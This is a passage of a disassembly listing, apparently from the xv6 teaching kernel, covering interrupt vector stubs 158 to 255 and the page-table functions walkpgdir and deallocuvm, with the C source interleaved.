ff ff jmp 8010540d <alltraps> 80105f0e <vector158>: .globl vector158 vector158: pushl $0 80105f0e: 6a 00 push $0x0 pushl $158 80105f10: 68 9e 00 00 00 push $0x9e jmp alltraps 80105f15: e9 f3 f4 ff ff jmp 8010540d <alltraps> 80105f1a <vector159>: .globl vector159 vector159: pushl $0 80105f1a: 6a 00 push $0x0 pushl $159 80105f1c: 68 9f 00 00 00 push $0x9f jmp alltraps 80105f21: e9 e7 f4 ff ff jmp 8010540d <alltraps> 80105f26 <vector160>: .globl vector160 vector160: pushl $0 80105f26: 6a 00 push $0x0 pushl $160 80105f28: 68 a0 00 00 00 push $0xa0 jmp alltraps 80105f2d: e9 db f4 ff ff jmp 8010540d <alltraps> 80105f32 <vector161>: .globl vector161 vector161: pushl $0 80105f32: 6a 00 push $0x0 pushl $161 80105f34: 68 a1 00 00 00 push $0xa1 jmp alltraps 80105f39: e9 cf f4 ff ff jmp 8010540d <alltraps> 80105f3e <vector162>: .globl vector162 vector162: pushl $0 80105f3e: 6a 00 push $0x0 pushl $162 80105f40: 68 a2 00 00 00 push $0xa2 jmp alltraps 80105f45: e9 c3 f4 ff ff jmp 8010540d <alltraps> 80105f4a <vector163>: .globl vector163 vector163: pushl $0 80105f4a: 6a 00 push $0x0 pushl $163 80105f4c: 68 a3 00 00 00 push $0xa3 jmp alltraps 80105f51: e9 b7 f4 ff ff jmp 8010540d <alltraps> 80105f56 <vector164>: .globl vector164 vector164: pushl $0 80105f56: 6a 00 push $0x0 pushl $164 80105f58: 68 a4 00 00 00 push $0xa4 jmp alltraps 80105f5d: e9 ab f4 ff ff jmp 8010540d <alltraps> 80105f62 <vector165>: .globl vector165 vector165: pushl $0 80105f62: 6a 00 push $0x0 pushl $165 80105f64: 68 a5 00 00 00 push $0xa5 jmp alltraps 80105f69: e9 9f f4 ff ff jmp 8010540d <alltraps> 80105f6e <vector166>: .globl vector166 vector166: pushl $0 80105f6e: 6a 00 push $0x0 pushl $166 80105f70: 68 a6 00 00 00 push $0xa6 jmp alltraps 80105f75: e9 93 f4 ff ff jmp 8010540d <alltraps> 80105f7a <vector167>: .globl vector167 vector167: pushl $0 80105f7a: 6a 00 push $0x0 pushl $167 80105f7c: 68 a7 00 00 00 push $0xa7 jmp alltraps 80105f81: e9 87 f4 ff ff jmp 8010540d <alltraps> 80105f86 <vector168>: .globl vector168 vector168: pushl $0 80105f86: 6a 00 push $0x0 pushl $168 80105f88: 68 a8 00 00 00 push $0xa8 jmp alltraps 80105f8d: e9 7b f4 ff ff jmp 8010540d <alltraps> 80105f92 <vector169>: .globl vector169 vector169: pushl $0 80105f92: 6a 00 push $0x0 pushl $169 80105f94: 68 a9 00 00 00 push $0xa9 jmp alltraps 80105f99: e9 6f f4 ff ff jmp 8010540d <alltraps> 80105f9e <vector170>: .globl vector170 vector170: pushl $0 80105f9e: 6a 00 push $0x0 pushl $170 80105fa0: 68 aa 00 00 00 push $0xaa jmp alltraps 80105fa5: e9 63 f4 ff ff jmp 8010540d <alltraps> 80105faa <vector171>: .globl vector171 vector171: pushl $0 80105faa: 6a 00 push $0x0 pushl $171 80105fac: 68 ab 00 00 00 push $0xab jmp alltraps 80105fb1: e9 57 f4 ff ff jmp 8010540d <alltraps> 80105fb6 <vector172>: .globl vector172 vector172: pushl $0 80105fb6: 6a 00 push $0x0 pushl $172 80105fb8: 68 ac 00 00 00 push $0xac jmp alltraps 80105fbd: e9 4b f4 ff ff jmp 8010540d <alltraps> 80105fc2 <vector173>: .globl vector173 vector173: pushl $0 80105fc2: 6a 00 push $0x0 pushl $173 80105fc4: 68 ad 00 00 00 push $0xad jmp alltraps 80105fc9: e9 3f f4 ff ff jmp 8010540d <alltraps> 80105fce <vector174>: .globl vector174 vector174: pushl $0 80105fce: 6a 00 push $0x0 pushl $174 80105fd0: 68 ae 00 00 00 push $0xae jmp alltraps 80105fd5: e9 33 f4 ff ff jmp 8010540d <alltraps> 80105fda <vector175>: .globl vector175 vector175: pushl $0 80105fda: 6a 00 push $0x0 pushl $175 80105fdc: 68 af 00 00 00 push $0xaf jmp alltraps 80105fe1: e9 27 f4 ff ff jmp 8010540d <alltraps> 80105fe6 <vector176>: .globl vector176 vector176: pushl $0 80105fe6: 6a 00 push $0x0 pushl $176 80105fe8: 68 b0 00 00 00 push $0xb0 jmp alltraps 80105fed: e9 1b f4 ff ff jmp 8010540d <alltraps> 80105ff2 <vector177>: .globl vector177 vector177: pushl $0 80105ff2: 6a 00 push $0x0 pushl $177 80105ff4: 68 b1 00 00 00 push $0xb1 jmp alltraps 80105ff9: e9 0f f4 ff ff jmp 8010540d <alltraps> 80105ffe <vector178>: .globl vector178 vector178: pushl $0 80105ffe: 6a 00 push $0x0 pushl $178 80106000: 68 b2 00 00 00 push $0xb2 jmp alltraps 80106005: e9 03 f4 ff ff jmp 8010540d <alltraps> 8010600a <vector179>: .globl vector179 vector179: pushl $0 8010600a: 6a 00 push $0x0 pushl $179 8010600c: 68 b3 00 00 00 push $0xb3 jmp alltraps 80106011: e9 f7 f3 ff ff jmp 8010540d <alltraps> 80106016 <vector180>: .globl vector180 vector180: pushl $0 80106016: 6a 00 push $0x0 pushl $180 80106018: 68 b4 00 00 00 push $0xb4 jmp alltraps 8010601d: e9 eb f3 ff ff jmp 8010540d <alltraps> 80106022 <vector181>: .globl vector181 vector181: pushl $0 80106022: 6a 00 push $0x0 pushl $181 80106024: 68 b5 00 00 00 push $0xb5 jmp alltraps 80106029: e9 df f3 ff ff jmp 8010540d <alltraps> 8010602e <vector182>: .globl vector182 vector182: pushl $0 8010602e: 6a 00 push $0x0 pushl $182 80106030: 68 b6 00 00 00 push $0xb6 jmp alltraps 80106035: e9 d3 f3 ff ff jmp 8010540d <alltraps> 8010603a <vector183>: .globl vector183 vector183: pushl $0 8010603a: 6a 00 push $0x0 pushl $183 8010603c: 68 b7 00 00 00 push $0xb7 jmp alltraps 80106041: e9 c7 f3 ff ff jmp 8010540d <alltraps> 80106046 <vector184>: .globl vector184 vector184: pushl $0 80106046: 6a 00 push $0x0 pushl $184 80106048: 68 b8 00 00 00 push $0xb8 jmp alltraps 8010604d: e9 bb f3 ff ff jmp 8010540d <alltraps> 80106052 <vector185>: .globl vector185 vector185: pushl $0 80106052: 6a 00 push $0x0 pushl $185 80106054: 68 b9 00 00 00 push $0xb9 jmp alltraps 80106059: e9 af f3 ff ff jmp 8010540d <alltraps> 8010605e <vector186>: .globl vector186 vector186: pushl $0 8010605e: 6a 00 push $0x0 pushl $186 80106060: 68 ba 00 00 00 push $0xba jmp alltraps 80106065: e9 a3 f3 ff ff jmp 8010540d <alltraps> 8010606a <vector187>: .globl vector187 vector187: pushl $0 8010606a: 6a 00 push $0x0 pushl $187 8010606c: 68 bb 00 00 00 push $0xbb jmp alltraps 80106071: e9 97 f3 ff ff jmp 8010540d <alltraps> 80106076 <vector188>: .globl vector188 vector188: pushl $0 80106076: 6a 00 push $0x0 pushl $188 80106078: 68 bc 00 00 00 push $0xbc jmp alltraps 8010607d: e9 8b f3 ff ff jmp 8010540d <alltraps> 80106082 <vector189>: .globl vector189 vector189: pushl $0 80106082: 6a 00 push $0x0 pushl $189 80106084: 68 bd 00 00 00 push $0xbd jmp alltraps 80106089: e9 7f f3 ff ff jmp 8010540d <alltraps> 8010608e <vector190>: .globl vector190 vector190: pushl $0 8010608e: 6a 00 push $0x0 pushl $190 80106090: 68 be 00 00 00 push $0xbe jmp alltraps 80106095: e9 73 f3 ff ff jmp 8010540d <alltraps> 8010609a <vector191>: .globl vector191 vector191: pushl $0 8010609a: 6a 00 push $0x0 pushl $191 8010609c: 68 bf 00 00 00 push $0xbf jmp alltraps 801060a1: e9 67 f3 ff ff jmp 8010540d <alltraps> 801060a6 <vector192>: .globl vector192 vector192: pushl $0 801060a6: 6a 00 push $0x0 pushl $192 801060a8: 68 c0 00 00 00 push $0xc0 jmp alltraps 801060ad: e9 5b f3 ff ff jmp 8010540d <alltraps> 801060b2 <vector193>: .globl vector193 vector193: pushl $0 801060b2: 6a 00 push $0x0 pushl $193 801060b4: 68 c1 00 00 00 push $0xc1 jmp alltraps 801060b9: e9 4f f3 ff ff jmp 8010540d <alltraps> 801060be <vector194>: .globl vector194 vector194: pushl $0 801060be: 6a 00 push $0x0 pushl $194 801060c0: 68 c2 00 00 00 push $0xc2 jmp alltraps 801060c5: e9 43 f3 ff ff jmp 8010540d <alltraps> 801060ca <vector195>: .globl vector195 vector195: pushl $0 801060ca: 6a 00 push $0x0 pushl $195 801060cc: 68 c3 00 00 00 push $0xc3 jmp alltraps 801060d1: e9 37 f3 ff ff jmp 8010540d <alltraps> 801060d6 <vector196>: .globl vector196 vector196: pushl $0 801060d6: 6a 00 push $0x0 pushl $196 801060d8: 68 c4 00 00 00 push $0xc4 jmp alltraps 801060dd: e9 2b f3 ff ff jmp 8010540d <alltraps> 801060e2 <vector197>: .globl vector197 vector197: pushl $0 801060e2: 6a 00 push $0x0 pushl $197 801060e4: 68 c5 00 00 00 push $0xc5 jmp alltraps 801060e9: e9 1f f3 ff ff jmp 8010540d <alltraps> 801060ee <vector198>: .globl vector198 vector198: pushl $0 801060ee: 6a 00 push $0x0 pushl $198 801060f0: 68 c6 00 00 00 push $0xc6 jmp alltraps 801060f5: e9 13 f3 ff ff jmp 8010540d <alltraps> 801060fa <vector199>: .globl vector199 vector199: pushl $0 801060fa: 6a 00 push $0x0 pushl $199 801060fc: 68 c7 00 00 00 push $0xc7 jmp alltraps 80106101: e9 07 f3 ff ff jmp 8010540d <alltraps> 80106106 <vector200>: .globl vector200 vector200: pushl $0 80106106: 6a 00 push $0x0 pushl $200 80106108: 68 c8 00 00 00 push $0xc8 jmp alltraps 8010610d: e9 fb f2 ff ff jmp 8010540d <alltraps> 80106112 <vector201>: .globl vector201 vector201: pushl $0 80106112: 6a 00 push $0x0 pushl $201 80106114: 68 c9 00 00 00 push $0xc9 jmp alltraps 80106119: e9 ef f2 ff ff jmp 8010540d <alltraps> 8010611e <vector202>: .globl vector202 vector202: pushl $0 8010611e: 6a 00 push $0x0 pushl $202 80106120: 68 ca 00 00 00 push $0xca jmp alltraps 80106125: e9 e3 f2 ff ff jmp 8010540d <alltraps> 8010612a <vector203>: .globl vector203 vector203: pushl $0 8010612a: 6a 00 push $0x0 pushl $203 8010612c: 68 cb 00 00 00 push $0xcb jmp alltraps 80106131: e9 d7 f2 ff ff jmp 8010540d <alltraps> 80106136 <vector204>: .globl vector204 vector204: pushl $0 80106136: 6a 00 push $0x0 pushl $204 80106138: 68 cc 00 00 00 push $0xcc jmp alltraps 8010613d: e9 cb f2 ff ff jmp 8010540d <alltraps> 80106142 <vector205>: .globl vector205 vector205: pushl $0 80106142: 6a 00 push $0x0 pushl $205 80106144: 68 cd 00 00 00 push $0xcd jmp alltraps 80106149: e9 bf f2 ff ff jmp 8010540d <alltraps> 8010614e <vector206>: .globl vector206 vector206: pushl $0 8010614e: 6a 00 push $0x0 pushl $206 80106150: 68 ce 00 00 00 push $0xce jmp alltraps 80106155: e9 b3 f2 ff ff jmp 8010540d <alltraps> 8010615a <vector207>: .globl vector207 vector207: pushl $0 8010615a: 6a 00 push $0x0 pushl $207 8010615c: 68 cf 00 00 00 push $0xcf jmp alltraps 80106161: e9 a7 f2 ff ff jmp 8010540d <alltraps> 80106166 <vector208>: .globl vector208 vector208: pushl $0 80106166: 6a 00 push $0x0 pushl $208 80106168: 68 d0 00 00 00 push $0xd0 jmp alltraps 8010616d: e9 9b f2 ff ff jmp 8010540d <alltraps> 80106172 <vector209>: .globl vector209 vector209: pushl $0 80106172: 6a 00 push $0x0 pushl $209 80106174: 68 d1 00 00 00 push $0xd1 jmp alltraps 80106179: e9 8f f2 ff ff jmp 8010540d <alltraps> 8010617e <vector210>: .globl vector210 vector210: pushl $0 8010617e: 6a 00 push $0x0 pushl $210 80106180: 68 d2 00 00 00 push $0xd2 jmp alltraps 80106185: e9 83 f2 ff ff jmp 8010540d <alltraps> 8010618a <vector211>: .globl vector211 vector211: pushl $0 8010618a: 6a 00 push $0x0 pushl $211 8010618c: 68 d3 00 00 00 push $0xd3 jmp alltraps 80106191: e9 77 f2 ff ff jmp 8010540d <alltraps> 80106196 <vector212>: .globl vector212 vector212: pushl $0 80106196: 6a 00 push $0x0 pushl $212 80106198: 68 d4 00 00 00 push $0xd4 jmp alltraps 8010619d: e9 6b f2 ff ff jmp 8010540d <alltraps> 801061a2 <vector213>: .globl vector213 vector213: pushl $0 801061a2: 6a 00 push $0x0 pushl $213 801061a4: 68 d5 00 00 00 push $0xd5 jmp alltraps 801061a9: e9 5f f2 ff ff jmp 8010540d <alltraps> 801061ae <vector214>: .globl vector214 vector214: pushl $0 801061ae: 6a 00 push $0x0 pushl $214 801061b0: 68 d6 00 00 00 push $0xd6 jmp alltraps 801061b5: e9 53 f2 ff ff jmp 8010540d <alltraps> 801061ba <vector215>: .globl vector215 vector215: pushl $0 801061ba: 6a 00 push $0x0 pushl $215 801061bc: 68 d7 00 00 00 push $0xd7 jmp alltraps 801061c1: e9 47 f2 ff ff jmp 8010540d <alltraps> 801061c6 <vector216>: .globl vector216 vector216: pushl $0 801061c6: 6a 00 push $0x0 pushl $216 801061c8: 68 d8 00 00 00 push $0xd8 jmp alltraps 801061cd: e9 3b f2 ff ff jmp 8010540d <alltraps> 801061d2 <vector217>: .globl vector217 vector217: pushl $0 801061d2: 6a 00 push $0x0 pushl $217 801061d4: 68 d9 00 00 00 push $0xd9 jmp alltraps 801061d9: e9 2f f2 ff ff jmp 8010540d <alltraps> 801061de <vector218>: .globl vector218 vector218: pushl $0 801061de: 6a 00 push $0x0 pushl $218 801061e0: 68 da 00 00 00 push $0xda jmp alltraps 801061e5: e9 23 f2 ff ff jmp 8010540d <alltraps> 801061ea <vector219>: .globl vector219 vector219: pushl $0 801061ea: 6a 00 push $0x0 pushl $219 801061ec: 68 db 00 00 00 push $0xdb jmp alltraps 801061f1: e9 17 f2 ff ff jmp 8010540d <alltraps> 801061f6 <vector220>: .globl vector220 vector220: pushl $0 801061f6: 6a 00 push $0x0 pushl $220 801061f8: 68 dc 00 00 00 push $0xdc jmp alltraps 801061fd: e9 0b f2 ff ff jmp 8010540d <alltraps> 80106202 <vector221>: .globl vector221 vector221: pushl $0 80106202: 6a 00 push $0x0 pushl $221 80106204: 68 dd 00 00 00 push $0xdd jmp alltraps 80106209: e9 ff f1 ff ff jmp 8010540d <alltraps> 8010620e <vector222>: .globl vector222 vector222: pushl $0 8010620e: 6a 00 push $0x0 pushl $222 80106210: 68 de 00 00 00 push $0xde jmp alltraps 80106215: e9 f3 f1 ff ff jmp 8010540d <alltraps> 8010621a <vector223>: .globl vector223 vector223: pushl $0 8010621a: 6a 00 push $0x0 pushl $223 8010621c: 68 df 00 00 00 push $0xdf jmp alltraps 80106221: e9 e7 f1 ff ff jmp 8010540d <alltraps> 80106226 <vector224>: .globl vector224 vector224: pushl $0 80106226: 6a 00 push $0x0 pushl $224 80106228: 68 e0 00 00 00 push $0xe0 jmp alltraps 8010622d: e9 db f1 ff ff jmp 8010540d <alltraps> 80106232 <vector225>: .globl vector225 vector225: pushl $0 80106232: 6a 00 push $0x0 pushl $225 80106234: 68 e1 00 00 00 push $0xe1 jmp alltraps 80106239: e9 cf f1 ff ff jmp 8010540d <alltraps> 8010623e <vector226>: .globl vector226 vector226: pushl $0 8010623e: 6a 00 push $0x0 pushl $226 80106240: 68 e2 00 00 00 push $0xe2 jmp alltraps 80106245: e9 c3 f1 ff ff jmp 8010540d <alltraps> 8010624a <vector227>: .globl vector227 vector227: pushl $0 8010624a: 6a 00 push $0x0 pushl $227 8010624c: 68 e3 00 00 00 push $0xe3 jmp alltraps 80106251: e9 b7 f1 ff ff jmp 8010540d <alltraps> 80106256 <vector228>: .globl vector228 vector228: pushl $0 80106256: 6a 00 push $0x0 pushl $228 80106258: 68 e4 00 00 00 push $0xe4 jmp alltraps 8010625d: e9 ab f1 ff ff jmp 8010540d <alltraps> 80106262 <vector229>: .globl vector229 vector229: pushl $0 80106262: 6a 00 push $0x0 pushl $229 80106264: 68 e5 00 00 00 push $0xe5 jmp alltraps 80106269: e9 9f f1 ff ff jmp 8010540d <alltraps> 8010626e <vector230>: .globl vector230 vector230: pushl $0 8010626e: 6a 00 push $0x0 pushl $230 80106270: 68 e6 00 00 00 push $0xe6 jmp alltraps 80106275: e9 93 f1 ff ff jmp 8010540d <alltraps> 8010627a <vector231>: .globl vector231 vector231: pushl $0 8010627a: 6a 00 push $0x0 pushl $231 8010627c: 68 e7 00 00 00 push $0xe7 jmp alltraps 80106281: e9 87 f1 ff ff jmp 8010540d <alltraps> 80106286 <vector232>: .globl vector232 vector232: pushl $0 80106286: 6a 00 push $0x0 pushl $232 80106288: 68 e8 00 00 00 push $0xe8 jmp alltraps 8010628d: e9 7b f1 ff ff jmp 8010540d <alltraps> 80106292 <vector233>: .globl vector233 vector233: pushl $0 80106292: 6a 00 push $0x0 pushl $233 80106294: 68 e9 00 00 00 push $0xe9 jmp alltraps 80106299: e9 6f f1 ff ff jmp 8010540d <alltraps> 8010629e <vector234>: .globl vector234 vector234: pushl $0 8010629e: 6a 00 push $0x0 pushl $234 801062a0: 68 ea 00 00 00 push $0xea jmp alltraps 801062a5: e9 63 f1 ff ff jmp 8010540d <alltraps> 801062aa <vector235>: .globl vector235 vector235: pushl $0 801062aa: 6a 00 push $0x0 pushl $235 801062ac: 68 eb 00 00 00 push $0xeb jmp alltraps 801062b1: e9 57 f1 ff ff jmp 8010540d <alltraps> 801062b6 <vector236>: .globl vector236 vector236: pushl $0 801062b6: 6a 00 push $0x0 pushl $236 801062b8: 68 ec 00 00 00 push $0xec jmp alltraps 801062bd: e9 4b f1 ff ff jmp 8010540d <alltraps> 801062c2 <vector237>: .globl vector237 vector237: pushl $0 801062c2: 6a 00 push $0x0 pushl $237 801062c4: 68 ed 00 00 00 push $0xed jmp alltraps 801062c9: e9 3f f1 ff ff jmp 8010540d <alltraps> 801062ce <vector238>: .globl vector238 vector238: pushl $0 801062ce: 6a 00 push $0x0 pushl $238 801062d0: 68 ee 00 00 00 push $0xee jmp alltraps 801062d5: e9 33 f1 ff ff jmp 8010540d <alltraps> 801062da <vector239>: .globl vector239 vector239: pushl $0 801062da: 6a 00 push $0x0 pushl $239 801062dc: 68 ef 00 00 00 push $0xef jmp alltraps 801062e1: e9 27 f1 ff ff jmp 8010540d <alltraps> 801062e6 <vector240>: .globl vector240 vector240: pushl $0 801062e6: 6a 00 push $0x0 pushl $240 801062e8: 68 f0 00 00 00 push $0xf0 jmp alltraps 801062ed: e9 1b f1 ff ff jmp 8010540d <alltraps> 801062f2 <vector241>: .globl vector241 vector241: pushl $0 801062f2: 6a 00 push $0x0 pushl $241 801062f4: 68 f1 00 00 00 push $0xf1 jmp alltraps 801062f9: e9 0f f1 ff ff jmp 8010540d <alltraps> 801062fe <vector242>: .globl vector242 vector242: pushl $0 801062fe: 6a 00 push $0x0 pushl $242 80106300: 68 f2 00 00 00 push $0xf2 jmp alltraps 80106305: e9 03 f1 ff ff jmp 8010540d <alltraps> 8010630a <vector243>: .globl vector243 vector243: pushl $0 8010630a: 6a 00 push $0x0 pushl $243 8010630c: 68 f3 00 00 00 push $0xf3 jmp alltraps 80106311: e9 f7 f0 ff ff jmp 8010540d <alltraps> 80106316 <vector244>: .globl vector244 vector244: pushl $0 80106316: 6a 00 push $0x0 pushl $244 80106318: 68 f4 00 00 00 push $0xf4 jmp alltraps 8010631d: e9 eb f0 ff ff jmp 8010540d <alltraps> 80106322 <vector245>: .globl vector245 vector245: pushl $0 80106322: 6a 00 push $0x0 pushl $245 80106324: 68 f5 00 00 00 push $0xf5 jmp alltraps 80106329: e9 df f0 ff ff jmp 8010540d <alltraps> 8010632e <vector246>: .globl vector246 vector246: pushl $0 8010632e: 6a 00 push $0x0 pushl $246 80106330: 68 f6 00 00 00 push $0xf6 jmp alltraps 80106335: e9 d3 f0 ff ff jmp 8010540d <alltraps> 8010633a <vector247>: .globl vector247 vector247: pushl $0 8010633a: 6a 00 push $0x0 pushl $247 8010633c: 68 f7 00 00 00 push $0xf7 jmp alltraps 80106341: e9 c7 f0 ff ff jmp 8010540d <alltraps> 80106346 <vector248>: .globl vector248 vector248: pushl $0 80106346: 6a 00 push $0x0 pushl $248 80106348: 68 f8 00 00 00 push $0xf8 jmp alltraps 8010634d: e9 bb f0 ff ff jmp 8010540d <alltraps> 80106352 <vector249>: .globl vector249 vector249: pushl $0 80106352: 6a 00 push $0x0 pushl $249 80106354: 68 f9 00 00 00 push $0xf9 jmp alltraps 80106359: e9 af f0 ff ff jmp 8010540d <alltraps> 8010635e <vector250>: .globl vector250 vector250: pushl $0 8010635e: 6a 00 push $0x0 pushl $250 80106360: 68 fa 00 00 00 push $0xfa jmp alltraps 80106365: e9 a3 f0 ff ff jmp 8010540d <alltraps> 8010636a <vector251>: .globl vector251 vector251: pushl $0 8010636a: 6a 00 push $0x0 pushl $251 8010636c: 68 fb 00 00 00 push $0xfb jmp alltraps 80106371: e9 97 f0 ff ff jmp 8010540d <alltraps> 80106376 <vector252>: .globl vector252 vector252: pushl $0 80106376: 6a 00 push $0x0 pushl $252 80106378: 68 fc 00 00 00 push $0xfc jmp alltraps 8010637d: e9 8b f0 ff ff jmp 8010540d <alltraps> 80106382 <vector253>: .globl vector253 vector253: pushl $0 80106382: 6a 00 push $0x0 pushl $253 80106384: 68 fd 00 00 00 push $0xfd jmp alltraps 80106389: e9 7f f0 ff ff jmp 8010540d <alltraps> 8010638e <vector254>: .globl vector254 vector254: pushl $0 8010638e: 6a 00 push $0x0 pushl $254 80106390: 68 fe 00 00 00 push $0xfe jmp alltraps 80106395: e9 73 f0 ff ff jmp 8010540d <alltraps> 8010639a <vector255>: .globl vector255 vector255: pushl $0 8010639a: 6a 00 push $0x0 pushl $255 8010639c: 68 ff 00 00 00 push $0xff jmp alltraps 801063a1: e9 67 f0 ff ff jmp 8010540d <alltraps> 801063a6: 66 90 xchg %ax,%ax 801063a8: 66 90 xchg %ax,%ax 801063aa: 66 90 xchg %ax,%ax 801063ac: 66 90 xchg %ax,%ax 801063ae: 66 90 xchg %ax,%ax 801063b0 <walkpgdir>: // Return the address of the PTE in page table pgdir // that corresponds to virtual address va. If alloc!=0, // create any required page table pages. static pte_t * walkpgdir(pde_t *pgdir, const void *va, int alloc) { 801063b0: 55 push %ebp 801063b1: 89 e5 mov %esp,%ebp 801063b3: 57 push %edi 801063b4: 56 push %esi 801063b5: 89 d6 mov %edx,%esi pde_t *pde; pte_t *pgtab; pde = &pgdir[PDX(va)]; 801063b7: c1 ea 16 shr $0x16,%edx { 801063ba: 53 push %ebx pde = &pgdir[PDX(va)]; 801063bb: 8d 3c 90 lea (%eax,%edx,4),%edi { 801063be: 83 ec 1c sub $0x1c,%esp if(*pde & PTE_P){ 801063c1: 8b 1f mov (%edi),%ebx 801063c3: f6 c3 01 test $0x1,%bl 801063c6: 74 28 je 801063f0 <walkpgdir+0x40> pgtab = (pte_t*)P2V(PTE_ADDR(*pde)); 801063c8: 81 e3 00 f0 ff ff and $0xfffff000,%ebx 801063ce: 81 c3 00 00 00 80 add $0x80000000,%ebx // The permissions here are overly generous, but they can // be further restricted by the permissions in the page table // entries, if necessary. *pde = V2P(pgtab) | PTE_P | PTE_W | PTE_U; } return &pgtab[PTX(va)]; 801063d4: c1 ee 0a shr $0xa,%esi } 801063d7: 83 c4 1c add $0x1c,%esp return &pgtab[PTX(va)]; 801063da: 89 f2 mov %esi,%edx 801063dc: 81 e2 fc 0f 00 00 and $0xffc,%edx 801063e2: 8d 04 13 lea (%ebx,%edx,1),%eax } 801063e5: 5b pop %ebx 801063e6: 5e pop %esi 801063e7: 5f pop %edi 801063e8: 5d pop %ebp 801063e9: c3 ret 801063ea: 8d b6 00 00 00 00 lea 0x0(%esi),%esi if(!alloc || (pgtab = (pte_t*)kalloc()) == 0) 801063f0: 85 c9 test %ecx,%ecx 801063f2: 74 34 je 80106428 <walkpgdir+0x78> 801063f4: e8 97 c0 ff ff call 80102490 <kalloc> 801063f9: 85 c0 test %eax,%eax 801063fb: 89 c3 mov %eax,%ebx 801063fd: 74 29 je 80106428 <walkpgdir+0x78> memset(pgtab, 0, PGSIZE); 801063ff: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp) 80106406: 00 80106407: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 8010640e: 00 8010640f: 89 04 24 mov %eax,(%esp) 80106412: e8 59 de ff ff call 80104270 <memset> *pde = V2P(pgtab) | PTE_P | PTE_W | PTE_U; 80106417: 8d 83 00 00 00 80 lea -0x80000000(%ebx),%eax 8010641d: 83 c8 07 or $0x7,%eax 80106420: 89 07 mov %eax,(%edi) 80106422: eb b0 jmp 801063d4 <walkpgdir+0x24> 80106424: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi } 80106428: 83 c4 1c add $0x1c,%esp return 0; 8010642b: 31 c0 xor %eax,%eax } 8010642d: 5b pop %ebx 8010642e: 5e pop %esi 8010642f: 5f pop %edi 80106430: 5d pop %ebp 80106431: c3 ret 80106432: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80106439: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80106440 <deallocuvm.part.0>: // Deallocate user pages to bring the process size from oldsz to // newsz. oldsz and newsz need not be page-aligned, nor does newsz // need to be less than oldsz. oldsz can be larger than the actual // process size. Returns the new process size. int deallocuvm(pde_t *pgdir, uint oldsz, uint newsz) 80106440: 55 push %ebp 80106441: 89 e5 mov %esp,%ebp 80106443: 57 push %edi 80106444: 89 c7 mov %eax,%edi 80106446: 56 push %esi 80106447: 89 d6 mov %edx,%esi 80106449: 53 push %ebx uint a, pa; if(newsz >= oldsz) return oldsz; a = PGROUNDUP(newsz); 8010644a: 8d 99 ff 0f 00 00 lea 0xfff(%ecx),%ebx deallocuvm(pde_t *pgdir, uint oldsz, uint newsz) 80106450: 83 ec 1c sub $0x1c,%esp a = PGROUNDUP(newsz); 80106453: 81 e3 00 f0 ff ff and $0xfffff000,%ebx for(; a < oldsz; a += PGSIZE){ 80106459: 39 d3 cmp %edx,%ebx deallocuvm(pde_t *pgdir, uint oldsz, uint newsz) 8010645b: 89 4d e0 mov %ecx,-0x20(%ebp) for(; a < oldsz; a += PGSIZE){ 8010645e: 72 3b jb 8010649b <deallocuvm.part.0+0x5b> 80106460: eb 5e jmp 801064c0 <deallocuvm.part.0+0x80> 80106462: 8d b6 00 00 00 00 lea 0x0(%esi),%esi pte = walkpgdir(pgdir, (char*)a, 0); if(!pte) a = PGADDR(PDX(a) + 1, 0, 0) - PGSIZE; else if((*pte & PTE_P) != 0){ 80106468: 8b 10 mov (%eax),%edx 8010646a: f6 c2 01 test $0x1,%dl 8010646d: 74 22 je 80106491 <deallocuvm.part.0+0x51> pa = PTE_ADDR(*pte); if(pa == 0) 8010646f: 81 e2 00 f0 ff ff and $0xfffff000,%edx 80106475: 74 54 je 801064cb <deallocuvm.part.0+0x8b> panic("kfree"); char *v = P2V(pa); 80106477: 81 c2 00 00 00 80 add $0x80000000,%edx kfree(v); 8010647d: 89 14 24 mov %edx,(%esp) 80106480: 89 45 e4 mov %eax,-0x1c(%ebp) 80106483: e8 58 be ff ff call 801022e0 <kfree> *pte = 0; 80106488: 8b 45 e4 mov -0x1c(%ebp),%eax 8010648b: c7 00 00 00 00 00 movl $0x0,(%eax) for(; a < oldsz; a += PGSIZE){ 80106491: 81 c3 00 10 00 00 add $0x1000,%ebx 80106497: 39 f3 cmp %esi,%ebx 80106499: 73 25 jae 801064c0 <deallocuvm.part.0+0x80> pte = walkpgdir(pgdir, (char*)a, 0); 8010649b: 31 c9 xor %ecx,%ecx 8010649d: 89 da mov %ebx,%edx 8010649f: 89 f8 mov %edi,%eax 801064a1: e8 0a ff ff ff call 801063b0 <walkpgdir> if(!pte) 801064a6: 85 c0 test %eax,%eax 801064a8: 75 be jne 80106468 <deallocuvm.part.0+0x28> a = PGADDR(PDX(a) + 1, 0, 0) - PGSIZE; 801064aa: 81 e3 00 00 c0 ff and $0xffc00000,%ebx 801064b0: 81 c3 00 f0 3f 00 add $0x3ff000,%ebx for(; a < oldsz; a += PGSIZE){ 801064b6: 81 c3 00 10 00 00 add $0x1000,%ebx 801064bc: 39 f3 cmp %esi,%ebx 801064be: 72 db jb 8010649b <deallocuvm.part.0+0x5b> } } return newsz; } 801064c0: 8b 45 e0 mov -0x20(%ebp),%eax 801064c3: 83 c4 1c add $0x1c,%esp 801064c6: 5b pop %ebx 801064c7: 5e pop %esi 801064c8: 5f pop %edi 801064c9: 5d pop %ebp 801064ca: c3 ret panic("kfree"); 801064cb: c7 04 24 86 70 10 80 movl $0x80107086,(%esp) 801064d2: e8 89 9e ff ff call 80100360 <panic> 801064d7: 89 f6 mov %esi,%esi 801064d9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801064e0 <seginit>: { 801064e0: 55 push %ebp 801064e1: 89 e5 mov %esp,%ebp 801064e3: 83 ec 18 sub $0x18,%esp c = &cpus[cpuid()]; 801064e6: e8 85 d1 ff ff call 80103670 <cpuid> c->gdt[SEG_KCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, 0); 801064eb: 31 c9 xor %ecx,%ecx 801064ed: ba ff ff ff ff mov $0xffffffff,%edx c = &cpus[cpuid()]; 801064f2: 69 c0 b0 00 00 00 imul $0xb0,%eax,%eax 801064f8: 05 80 27 11 80 add $0x80112780,%eax c->gdt[SEG_KCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, 0); 801064fd: 66 89 50 78 mov %dx,0x78(%eax) 